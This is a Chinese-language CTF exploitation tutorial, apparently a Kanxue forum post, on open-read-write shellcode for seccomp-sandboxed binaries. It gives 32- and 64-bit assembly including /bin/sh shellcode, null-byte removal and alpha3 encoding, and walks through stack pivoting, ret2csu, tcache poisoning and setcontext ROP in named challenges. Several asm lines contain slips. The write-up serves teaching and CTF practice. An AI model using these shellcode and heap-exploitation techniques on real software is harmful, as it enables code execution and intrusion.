orw知识点

• shellcode编写(涉及64位和32位)

• shellcode编码，绕过shellcode字符检测

• sandbox

• mmap

• set_context

shellcode编写思路

orw全称only read write,只使用read write函数将flag读取并且打印，shellcode分为三个步骤

1. 使用open函数打开flag
2. 使用read函数将flag读到buf
3. 使用write函数将buf中的值输出

简化为三句伪代码如下，主要需要将这三句C语言变成汇编代码

32-bits

32-bits下的系统调用号

三个函数的系统调用编号

shellcode编写

32位系统调用汇编寄存器传递参数顺序依次是ebx, ecx, edx, esi

;32-bit shellcode
; open flag file
mov eax, 5 
mov ebx, filepath
mov ecx, 0
int 80h
; read flag
mov ebx, eax
mov eax, 3
mov ecx, buf
mov edx, 100h
int 80h
; write flag
mov eax, 4
mov ebx, 1
mov ecx, buf
mov edx, 100h
int 80h
ret

64-bits

64-bits下的系统调用号

shellcode编写

64位shellcode汇编代码和32位的思路一样，不同点在于64位系统调用向寄存器传递的参数不同，且64位shellcode建议使用syscall，而不使用int 80中断

64位系统调用汇编寄存器传递参数顺序：rdi,rsi,rdx,r10,r8,r9。最多只能有6个参数，如果参数多于6个不会像用户态一样放到堆栈中，这个是内核接口调用约定和用户接口调用约定有区别

;64-bit shellcode
;open
mov rax, 2
mov rdi, filepath
mov rsi, 0
mov rdx, 0
syscall
; read
mov rdi rax
mov rax, 0
mov rsi, buf ;buf可以修改成rsp,直接将flag读到栈中
mov r10, 0x100
syscall
;write
mov r10, rax
mov rax, 1
mov rdi, 1
mov rsi, buf
syscall

64-bit to 32-bit

当64位系统禁用open函数时，可以从64位切换到32位

• 32bit cs 0x23

  ;;nasm -f elf32 test_cs_32.asm 
  ;;ld -m elf_i386 -o test_cs_32
  global _start
  _start:
    push 0x0068732f
    push 0x6e69622f
    mov ebx,esp
    xor ecx,ecx
    xor edx,edx
    mov eax,11
    int 0x80
  

• 64bit cs 0x33

  ;;nasm -f elf64 test_cs_64.asm 
  ;;ld -m elf_x86_64 -o test_cs_64 test_cs_64.o
  global _start
  _start:
    mov r10,0x0068732f6e69622f
    push r10
    mov rdi,rsp
    xor rsi,rsi
    xor rdx,rdx
    mov rax,0x3b
    syscall
  

shellcode编码

shellcode去除NULL byte

使用alpha3编码的shellcode不能存在NULL byte，需要对shellcode进行去0操作，去0优化后的shellcode可能更长

使用write为例子

• 优化前

  ;write
  mov r10, rax
  mov rax, 1
  mov rdi, 1
  mov rsi, buf
  syscall
  

• 优化后

  mov rsi, buf
  push 1
  pop rax
  push 1
  pop rdi
  xor edx, edx
  mov dh, 0x100 >> 8
  syscall
  

多使用xor，and等计算操作而不直接使用立即数赋值寄存器可以减少shellcode中的NULL byte

alpha3使用方法

ps：需要使用python2

set_context

set_context分为两个版本的利用，2.27和2.29

利用场景

系统开启沙盒只能使用orw，通过劫持全局变量指针(__free_hook, __malloc_hook)等，将程序流程转移到glibc中的setcontext函数中执行ROP链

; glibc 2.27版本的set context
.text:00000000000520A5                 mov     rsp, [rdi+0A0h]
.text:00000000000520AC                 mov     rbx, [rdi+80h]
.text:00000000000520B3                 mov     rbp, [rdi+78h]
.text:00000000000520B7                 mov     r12, [rdi+48h]
.text:00000000000520BB                 mov     r13, [rdi+50h]
.text:00000000000520BF                 mov     r14, [rdi+58h]
.text:00000000000520C3                 mov     r15, [rdi+60h]
.text:00000000000520C7                 mov     rcx, [rdi+0A8h]
.text:00000000000520CE                 push    rcx
.text:00000000000520CF                 mov     rsi, [rdi+70h]
.text:00000000000520D3                 mov     rdx, [rdi+88h]
.text:00000000000520DA                 mov     rcx, [rdi+98h]
.text:00000000000520E1                 mov     r8, [rdi+28h]
.text:00000000000520E5                 mov     r9, [rdi+30h]
.text:00000000000520E9                 mov     rdi, [rdi+68h]

ctf example

pwnable.tw orw

分析

输入一段shellcode执行，首先将flag读取到.bss段，再将其读到标准输出

exp

Hgame2020 ROP_LEVEL2

知识点

• 栈迁移
• ret2csu

分析

从标准输入端读取3次，每一次都有不同作用

• 第一次写入shellcode到.bss段的buf
• 第二次将rbp覆盖，为栈迁移做准备
• 第三次覆盖返回地址，首先ret leave进行栈迁移，然后ret csu设置寄存器参数调用函数

ROP链

思路为csu调用open,read,puts函数，将flag写入.bss段，在使用puts函数输出到标准输出

csu汇编代码中寄存器和函数参数对应关系为：(r15, r14, r13) -> (arg1, arg2, arg3)，r12是函数指针

一般来说使用ret2csu时rbx === 0,rbp === 1

exp

CISCN 2021 silverwolf

知识点

• glibc 2.27 && 2.29 tcache bin attack
• seccomp_rule_add函数会创建很多堆块
• setcontext

分析

alloc

• 最大只能申请0x78大小的chunk
• 申请chunk的index只能为0

edit

• 只能编辑index=0的chunk，申请了哪个堆块就只能修改哪个堆块
• 不存在溢出漏洞

delete

• free(buf)后指针没有置空，存在uaf漏洞

思路

由于只能使用上一次申请的堆块，所以堆布局需要提前构思

清空所有bin

seccomp_rule_add函数会创建堆块，导致堆布局凌乱，清理bin方便后续构造

0x20 [  7]: 0x55dad5b23610 —▸ 0x55dad5b23790 —▸ 0x55dad5b235f0 —▸ 0x55dad5b238a0 —▸ 0x55dad5b230b0 —▸ 0x55dad5b23450 —▸ 0x55dad5b23020 ◂— 0x0
0x60 [  1]: 0x55dad5b238c0 ◂— 0x0
0x70 [  7]: 0x55dad5b23360 —▸ 0x55dad5b230d0 —▸ 0x55dad5b232f0 —▸ 0x55dad5b23490 —▸ 0x55dad5b23630 —▸ 0x55dad5b237b0 —▸ 0x55dad5b23040 ◂— 0x0
0x80 [  7]: 0x55dad5b22e90 —▸ 0x55dad5b231b0 —▸ 0x55dad5b23250 —▸ 0x55dad5b233d0 —▸ 0x55dad5b23570 —▸ 0x55dad5b23820 —▸ 0x55dad5b22fa0 ◂— 0x0
0xd0 [  3]: 0x55dad5b22ad0 —▸ 0x55dad5b227a0 —▸ 0x55dad5b22310 ◂— 0x0
0xf0 [  2]: 0x55dad5b236a0 —▸ 0x55dad5b22cd0 ◂— 0x0
fastbins
0x20: 0x55dad5b22df0 —▸ 0x55dad5b22f00 —▸ 0x55dad5b23220 —▸ 0x55dad5b232c0 —▸ 0x55dad5b23460 ◂— ...
0x70: 0x55dad5b22e10 —▸ 0x55dad5b22f20 —▸ 0x55dad5b23130 —▸ 0x55dad5b234f0 ◂— 0x0

double free，泄露heap base

glibc2.27 存在double free漏洞，配合uaf泄露堆基地址。

改写tcache_perthread_struct，泄露libc base

tcache_perthread_struct结构体在heapbase处，大小为0x240，用于管理tcache bin。

将所有tcache bin counts覆写为7，在free大小为0x80的堆块后，检测到tcachebins没有空闲，会将释放的堆块存放在unsorted bin中从而泄露libc base

改写tcache_perthread_struct，申请任意地址的堆块

堆布局影响后面ROP链的构造，因为一次最大可申请0x78大小堆块，不够容纳ROP链，需要改写tcache bin struct便于申请两个物理地址连续的堆块

再次改写tcache bin struct，将所有counts改写为大于0，然后改写tcache_entry *entries[TCACHE_MAX_BINS]，将这个指针数组里面的指针改写为需要申请的堆块地址，就可以进行任意地址的堆块申请

• heap_base+0x1000用于存放rop链
• heap_base+0x2000用于存放flag文件路径字符串
• heap_base+0x3000用于存放flag字符串

修改完后可以申请0x18,0x28,0x38,0x48,0x58,0x68,0x78大小的堆块各一个

ROP链与栈迁移

ROP链构造

将ROP链写入heap_base+0x1000后，申请大小等于0x48的堆块，这个堆块指针为heap_base+0x1000，在free时会用这个指针作为参数传递到rdi，setcontext+0x53将栈迁移到heap_base+0x1000，开始执行ROP链

exp

逐日杯 codehome

知识点

• shellcode编码
• shellcode处理0字节

分析

申请内存

使用mmap申请两块内存。

• v3用于存储flag，地址为rbp&0xffff000
• v4用于存储shellcode，地址为0x44440000

在写shellcode时，v3地址需要动态计算

main

函数指针v7可以被nbytes[4]覆盖。如果覆盖成0x44440000就可以执行shellcode地址。存在shellcode，只能输入0-9，a-z，A-Z，需要使用alpha3编码。

exp

;shellcode
mov esi, ebp
and esi, 0xffff005
push 1
pop rax
push 1
pop rdi
xor edx, edx
mov dh, 0x100 >> 8
syscall

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！